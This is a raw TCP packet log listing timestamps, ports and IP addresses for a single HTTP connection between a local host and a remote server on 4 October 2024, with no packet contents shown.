Oct 4, 2024 04:28:03.289829969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.289833069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289843082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289853096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289863110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289871931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289881945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289885998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.289885998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.289892912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289901972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289928913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290133953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290613890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290625095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290633917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290694952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290694952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290733099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290744066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290752888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290761948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290772915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290781975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290791035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290797949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290797949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290801048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290812969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290822029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.290849924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290849924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.290875912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.291426897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291438103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291446924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291456938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291466951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291477919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291484118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.291486979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.291521072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.291547060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.375915051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.375945091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.375983000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.375997066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.375997066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376043081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376055956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376065969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376147985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376188993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376188993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376209974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376233101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376267910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376267910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376343966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376353025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376362085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376369953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376379013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376395941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376609087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376619101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376626015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376661062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376710892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376719952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376802921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376812935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376843929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376843929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.376933098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376941919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376950026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376957893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.376975060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377007008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377105951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377157927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377167940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377209902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377209902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377329111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377337933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377346039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377355099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377409935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377409935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377496958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377582073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377635002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377635956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377645016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377654076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377664089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377672911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377681017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377688885 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377890110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.377943039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377952099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377959967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377968073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377975941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377984047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.377994061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378036022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378036022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378320932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378330946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378339052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378348112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378356934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378365993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378375053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378410101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378410101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378411055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378696918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378705978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378714085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378722906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378739119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378750086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378781080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378921986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378931046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378938913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.378995895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.378995895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379041910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379055023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379064083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379070044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379079103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379090071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379098892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379103899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379107952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379117966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379127026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379136086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379151106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379151106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379184008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379184008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379853010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379863024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379869938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379878998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379887104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379895926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379904032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379913092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379920959 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379921913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379931927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379940033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379949093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379957914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379966974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379976034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379976034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379976034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.379976034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.379986048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380022049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380054951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380588055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380599022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380624056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380635023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380660057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380700111 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380848885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380858898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380882025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380891085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380911112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380938053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.380984068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380994081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.380996943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381001949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381010056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381017923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381026983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381035089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381043911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381051064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381059885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381068945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381077051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381078005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381078005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381087065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381124020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381124020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381773949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381856918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381876945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381886959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381896019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381903887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381912947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381922007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381928921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.381928921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381938934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.381968021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.382247925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468575954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468589067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468600035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468647003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468671083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468682051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468694925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468704939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468733072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468733072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468776941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468802929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468813896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468909979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468919992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468930960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.468954086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468954086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.468975067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.469028950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469039917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469080925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.469119072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469130039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469140053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469149113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469175100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.469175100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.469228029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.469325066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469335079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469346046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.469391108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.476898909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.476922035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.476933956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.476994038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.476994038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477025032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477034092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477041006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477060080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477098942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477133989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477133989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477159977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477184057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477204084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477204084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477267981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477279902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477288961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477317095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477317095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477399111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477410078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477420092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477442026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477442026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477475882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477495909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477505922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477588892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477598906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477608919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477618933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477637053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477637053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477711916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477721930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477725983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477762938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477775097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477786064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477786064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477797031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477844954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477844954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.477984905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.477996111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478092909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478219986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478274107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478285074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478297949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478332996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478332996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478363037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478374004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478384018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478430986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478430986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478468895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478480101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478491068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478530884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478535891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478565931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478652000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478662014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478672028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478682995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478693962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478696108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478696108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478737116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478737116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478923082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478934050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478944063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478954077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478962898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.478986025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.478986025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479012966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479043007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479149103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479160070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479165077 CEST	80	49740	172.67.159.45	192.168.2.6
